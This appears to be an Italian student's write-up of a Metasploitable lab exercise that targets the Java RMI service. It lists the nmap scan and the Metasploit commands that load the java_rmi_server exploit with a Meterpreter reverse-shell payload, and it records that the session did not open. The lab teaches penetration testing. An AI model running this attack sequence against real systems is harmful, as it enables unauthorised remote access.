La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.
Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.
I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
    1) configurazione di rete.
    2) informazioni sulla tabella di routing della macchina vittima.

L'**EXPLOIT** è un metodo in grado di sfruttare i problemi che affliggono un sistema operativo o una determinata applicazione al fine di permettere all'attaccante di eseguire un payload sul sistema.
Il **PAYLOAD** è una sessione di comandi che vengono eseguiti dall'exploit e determinano il tipo di attacco. Può avere lo scopo di creare un utente amministrativo sul sistema vittima, creare una shell di comandi per controllare la macchina etc.
L'**RMI** (Remote Method Invocation) è la capatità per un oggetto Java di poter essere in esecuzione su una determinata macchina consentendo l'invocazione dei suoi metodi, in maniera remota.
Il **MALWARE** (Malicius Software) è un programma/codice dannoso che mette a rischio un sistema.

Esercizio

Kali Linux IP **192.168.11.111**
Metasploitable 2 IP **192.168.11.112**

Dopo aver controllato che le 2 macchine comunicassero tra di loro, ho eseguito una scansione delle porte di Metasploitable con «**nmap –sS –sV 192.168.11.112**», per verificare la porta del servizio Java-RMI.
Lanciato Metasploit con «**msfconsole**».
«**search java_rmi**» mi ha ricercato l'exploit da utilizzare.
«**use exploit/multi/misc/java_rmi_server**»
Di default mi ha dato il payload «**java/meterpreter/reverse_tcp**»
«**set rhosts 192.168.11.112**» per configurare l'Host del target.
«**show options**» controllato che la configurazione è stata eseguita
«**exploit**» lanciato l'exploit.

Non ho potuto fare nessuno screenshot in quanto non mi si apriva la sessione.
Mi sarei aspettato che mi comparisse la shell di Meterpreter.
Da lì avrei utilizzato il comando help per cercare le keyword che mi servivano:

- **ifconfig**: visualizza la configurazione di rete;
- **route**: informazioni sulla tabella di routing, cioè una tabella che contiene informazioni sui vari percorsi tra i dispositivi al fine di presentare i percorsi più efficienti per i pacchetti di dati.